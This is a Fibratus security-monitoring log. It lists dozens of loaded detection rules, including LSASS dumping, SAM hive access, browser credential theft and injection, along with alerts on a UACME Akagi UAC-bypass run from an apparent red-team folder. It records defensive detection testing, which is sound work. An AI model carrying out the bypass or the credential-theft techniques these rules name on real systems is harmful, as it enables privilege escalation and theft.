C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T13:39:39+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T13:39:39+01:00 level=info msg=bootstrapping with pid 15656. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:39:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ content-type=>text/html to=>[] enabled=>false port=>25 use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-thread=>true enable-image=>true flush-interval=>1s stack-enrichment=>true enable-threadpool=>false enable-dns=>false enable-fileio=>true enable-vamap=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-net=>true max-buffers=>36 min-buffers=>16 enable-handle=>false enable-registry=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 level=>info max-size=>100 max-age=>0 formatter=>text] + output ......................... [ amqp=>[ vhost=>/ exchange=>fibratus durable=>false url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic passive=>false routing-key=>fibratus enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false timeout=>5s method=>POST serializer=>json] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1 timeout=>5s healthcheck-interval=>10s enabled=>false gzip-compression=>false trace-log=>false sniff=>false index-name=>fibratus healthcheck=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false skip-registry=>false excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] enabled=>false skip-mmaps=>false skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:39:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:39:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:40:02+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): + Seq: 2143416 + Pid: 13236 + Tid: 11824 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-21 13:39:48.9678379 +0100 CET + Params: attributes➜ , create_disposition➜ SUPERSEDE, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffbc88fa8a8eb0, file_path➜ C:\WINDOWS\system32\dismcore.dll, irp➜ ffffbc88f51250f8, share_mask➜ READ|WRITE|DELETE, status➜ The system cannot find the file specified, tid➜ 11824, type➜ File + Metadata: rule.name: UAC bypass via NTFS junction DLL hijacking, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 13236 + Ppid: 8496 + Name: wusa.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 36 + Exe: C:\WINDOWS\system32\wusa.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-21T13:40:07+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): + Seq: 2157239 + Pid: 7824 + Tid: 9504 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-21 13:39:51.7318772 +0100 CET + Params: attributes➜ , create_disposition➜ SUPERSEDE, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffbc88fa8ad370, file_path➜ C:\WINDOWS\system32\api-ms-win-core-kernel32-legacy-l1.DLL, irp➜ ffffbc88f7aec0f8, share_mask➜ READ|WRITE|DELETE, status➜ The system cannot find the file specified, tid➜ 9504, type➜ File + Metadata: rule.name: UAC bypass via NTFS junction DLL hijacking, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 7824 + Ppid: 8496 + Name: wusa.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 36 + Exe: C:\WINDOWS\system32\wusa.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-21T13:40:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:40:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:41:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:42:48+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T13:42:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 